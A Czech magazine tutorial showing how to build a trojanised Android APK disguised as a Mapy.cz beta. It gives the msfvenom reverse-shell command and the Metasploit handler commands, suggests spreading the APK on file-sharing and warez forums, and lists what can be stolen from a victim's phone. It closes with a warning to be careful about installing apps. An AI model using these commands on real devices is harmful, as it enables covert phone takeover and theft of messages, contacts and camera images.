V posledních několika týdnech jsme si vyrobili rušičku Wi-Fi, kdy jsme dokázali na dálku odstřihnout od internetu prakticky libovolný mobil a počítač v širokém okolí, odposlouchávali jsme kolegy z Computeru o patro níže a vyzkoušeli si, jak funguje odhalení slabého hesla k Wi-Fi pomocí slovníkového útoku.
Dnes však svět bezdrátových a podnikových sítí opustíme a podíváme se, jak může v praxi vypadat vytvoření zákeřného instalačního balíčku APK pro Android, který si pak kdekdo stáhne z internetu s vidinou, že se jedná o populární hru nebo jiný warez. Namísto toho však program jako trojský kůň otevře vrátka do systému, a než jej majitel telefonu odinstaluje, útočník si stáhne třeba adresář kontaktů, historii SMS, podívá se na vás skrze přední či zadní kameru, smaže data, anebo na telefon nahraje libovolné další smetí, které napáchá mnohem větší škodu.
Připomeňte si předchozí tematické články o síťovém hackingu a bezpečnosti:
Švýcarský nožík na průniky do systému
K dnešnímu průniku do telefonu použijeme poměrně univerzální balík bezpečnostních nástrojů Metasploit, který je součástí linuxové distribuce Kali. Metasploit se skládá z několika klíčových programů a speciální konzole msfconsole, která nabízí množství samostatných modulů, které slouží pro průniky všeho druhu. V Metasploitu lze tedy zinscenovat třeba komplexní útok, v rámci kterého nakazíme PC zavirovanou přílohou z e-mailu, která zapojí slabě zabezpečené PC třeba do jednoduchého botnetu.
Ovládací konzole msfconsole a výčet stovek a stovek útoků na Android, Linux, Windows, Firefox, všemožné zařízení IoT a tak dále...
Zákeřný balíček pro Android
My dnes ale začneme něčím jednodušším a namísto botnetu vyrobíme primitivního trojského koně, který nám otevře vrátka do telefonu s Androidem. Bude se vlastně jednat o dočista jednoduchý program s enormním množstvím práv, který se po instalaci okamžitě ohlásí našemu speciálnímu serveru, a my jej pak budeme moci kompletně ovládat.
Jedná se tedy přesně o ten scénář útoku, kdybychom měli dávat dobrý pozor, co instalujeme za aplikace a k čemu všemu mají práva. A je to také důvod, proč minimalizovat instalaci APK balíčků z neznámých zdrojů.
Zákeřnou aplikaci pro Android nemusíme vůbec programovat, vytvoří ji totiž program msfvenom, kterému pouze řekneme, že má vytvořit appku, která se ihned po spuštění spojí s naším počítačem skrze pevně zadanou IP adresu a port.
Celé by to mohlo vypadat třeba takto:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.112.59 LPORT=4444 R > mapycz.beta.apk
Tímto příkazem jsme programu msfvenom sdělili, ať vytvoří androidí appku s trojským koněm meterpreter, který se po spuštění spojí s IP adresou 192.168.112.59 na portu 4444, kde bude poslouchat speciální konzole, pomocí které budeme telefon s androidem dálkově ovládat. Jelikož budeme útok zkoušet jen v lokální síti, vystačíme si s místní IP adresou laptopu, na kterém zrovna běží Kali. Výsledkem bude balíček třeba s lákavým názvem mapycz.beta.apk, který bude evokovat, že se jedná o jakousi betaverzi populární mobilní aplikace Mapy.cz, která jistě překypuje hromadou nových funkcí.
Primitivní APK balíček je hotový. Teď jej mohu vypustit do světa.
Kdybychom takový APK balíček nahráli třeba na Ulož.to a podpořili je několika komentáři na všemožných mobilních a warezových webových fórech, stáhnou si jej určitě desítky potenciálních obětí.
Při instalaci už nejspíše zbystří, protože msfvenom ve výchozím stavu vytvoří aplikaci s názvem MainActivity a generickou ikonou postavičky Android, což by už mělo být trošku zkušenějším uživatelům podezřelé, nicméně všechny tyto informace lze ještě před útokem upravit takovým způsobem, aby aplikace během instalace vypadala dostatečně věrohodně.
Naše falešné Mapy by měl každý zkušenější uživatel snadno odhalit, s trochou práce ale můžeme vytvořit originální ikonu a zvolit lepší název
Ovládací pultík Msfconsole
Ještě než si první oběť nainstaluje náš zákeřný prográmek, musíme na Kali spustit konzoli, se kterou bude komunikovat náš trojský kůň.
K tomu poslouží zmíněná ovládací centrála Metasploitu jménem msfconsole. Po spuštění jen vybereme adekvátní modul a útok, nastavíme stejnou IP adresu a port jako v předchozím případě a nakonec napíšeme kouzelné slovíčko exploit.
Celé by to mohlo vypadat asi takto:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.112.59
set LPORT 4444
exploit
Od tohoto okamžiku Metasploit poslouchá na portu 4444 a čeká na ohlášení první oběti, ke kterému dojde v okamžiku, kdy nešťastník poprvé spustí naše falešné mapy. Z jeho úhlu pohledu se vlastně nic moc nestane a zase se zobrazí plocha Androidu. Alespoň trošku zkušenější uživatel v takovém případě aplikaci prostě odinstaluje, nicméně naprostý začátečník to může nechat být.
Spuštění konzole a zachycení první oběti z IP adresy 192.168.112.111
Útočník má však nyní v obou případech přinejmenším pár sekund na to, aby pomocí několika příkazů provedl třeba tyto úkony:
- stažení historie volání
- stažení archivu SMS
- stažení adresáře s kontakty
- zaslání SMS
- stažení libovolného souboru ze sdílené paměti/SD (fotografie aj.)
- smazání celé sdílené paměti/SD
- nahrání libovolných dat na telefon (další malware)
- přesměrování DNS pro účely phishingu
- nahrávání zvuku z mikrofonu
- pořízení fotografie z libovolné kamery
- streamování videa z kamery
- zjištění, jestli má telefon plná práva (rootnutý telefon)
- přístup k terminálu a zaslání libovolného příkazu
Jelikož lze všechny tyto příkazy automatizovat, bude-li oběť na Wi-Fi anebo alespoň rychlém připojení 3G, všechny klíčové informace lze skutečně získat během deseti sekund.
Oběť je připojená a my jsme si pomocí help vypsali všechny podporované příkazy. Tak třeba sysinfo zobrazí informace o telefonu, webcam_snap 1 zachytí obrázek z fotoaparátu #1 (zpravidla hlavní na zádech) a tak dále.
Stažení uložených zpráv SMS, dotaz, jestli je telefon rootnutý, a zjištění aktuální polohy
Pozor na appky
Příklad s balíkem nástrojů Metasploit ukazuje, že nejjednodušší formu takového útoku může provést opravdu každý. Kali totiž může neustále běžet třeba na Raspberry Pi a Metasploit může celé dny tiše čekat na oběti. Jakmile se nějaká objeví, systém automaticky provede dávku úkolů, než si stačí oběť čehokoliv všimnout.
A to vše s několika málo příkazy a v jednoduchém textovém rozhraní bez znalosti programování a vlastně i podstaty toho, jak celý útok funguje.
V tomto světle je tedy zřejmé, co asi na rozdíl od experimentujícího script kiddie dokáže zkušený útočník, který namísto primitivní aplikace použije nějaký opravdu praktický nástroj, který bude dělat vše, co má, takže jej budou lidé používat, nicméně ve svém nitru bude zároveň poslouchat příkazy operátora botnetu. A k tomu nakonec nemusí potřebovat ani absolutní a krajně podezřelý výčet práv jako náš experimentální trojský kůň.